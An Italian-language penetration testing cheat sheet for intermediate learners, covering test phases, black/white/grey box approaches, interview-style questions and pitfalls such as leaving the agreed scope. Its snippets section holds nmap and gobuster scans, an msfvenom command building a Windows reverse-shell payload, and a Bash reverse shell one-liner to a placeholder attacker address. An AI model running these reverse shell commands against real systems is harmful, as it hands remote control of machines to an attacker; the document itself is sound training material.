Penetration Testing — Cheat Sheet

Tag: penetration testing, cybersecurity, nmap, metasploit, owasp, red team

Livello: intermedio

TL;DR: Guida rapida a fasi, approcci e strumenti fondamentali per simulazioni di attacco e test di sicurezza offensiva.

Concetti chiave

Il penetration testing valuta la sicurezza di un sistema simulando un attacco informatico nel mondo reale.

Fasi standard: Information Gathering, Enumeration, Vulnerability Assessment, Exploitation, Post-Exploitation, Reporting.

Regole d'ingaggio (RoE): Documento che definisce perimetro, tempistiche e limitazioni operative del test autorizzato.

Black box: Nessuna conoscenza preventiva del bersaglio, per simulare un attacco esterno realistico.

White box: Conoscenza completa del sistema, inclusi codice sorgente e architettura, per test approfonditi.

Grey box: Conoscenza parziale (es. credenziali di basso livello), utile per simulare minacce interne.

Pivoting: Utilizzare un sistema compromesso per instradare il traffico e attaccare altre macchine nella rete interna.

Privilege Escalation: Sfruttare vulnerabilità, misconfigurazioni o password deboli per ottenere privilegi amministrativi (root/SYSTEM).

Domande tipiche e risposte pronte

Q: Qual è la differenza tra Vulnerability Assessment e Penetration Testing?R: Il VA si limita a identificare e classificare le vulnerabilità, mentre il PT le sfrutta attivamente per dimostrare l'impatto reale.

Q: Come ti comporti se scopri una vulnerabilità estremamente critica durante un test?R: Interrompo temporaneamente le attività che potrebbero causare danni e notifico immediatamente il cliente secondo le regole d'ingaggio.

Q: Cos'è una reverse shell e perché si preferisce a una bind shell?R: La reverse shell fa connettere il target all'attaccante. Si preferisce perché i firewall in uscita sono spesso meno restrittivi di quelli in entrata.

Insidie e errori comuni

Uscire dal perimetro (scope) definito nelle regole d'ingaggio, con conseguenti gravi rischi legali e contrattuali.

Lanciare exploit non testati o instabili che causano Denial of Service (DoS) sui sistemi di produzione del cliente.

Trascurare la fase di Information Gathering: una ricognizione frettolosa porta quasi sempre a mancare i vettori d'attacco migliori.

Consegnare un report eccessivamente tecnico senza includere un executive summary chiaro per il management.

Snippet e comandi

# Scansione base delle porte e rilevamento servizi con Nmap
nmap -sS -sV -p- -T4 target_ip

# Ricerca di directory nascoste tramite brute-force web (Gobuster)
gobuster dir -u http://target_ip -w /usr/share/wordlists/dirb/common.txt

# Generazione di payload per reverse shell con MSFvenom
msfvenom -p windows/meterpreter/reverse_tcp LHOST=attacker_ip LPORT=4444 -f exe > payload.exe

# Esempio di reverse shell in Bash
bash -i >& /dev/tcp/attacker_ip/4444 0>&1

Da ripassare

[ ] Metodologie standard di settore (OSSTMM, PTES, OWASP Testing Guide).

[ ] Tecniche di evasione per bypassare IDS, IPS e soluzioni Antivirus (EDR).

[ ] Metodi di persistenza post-exploitation su ambienti Windows e Linux.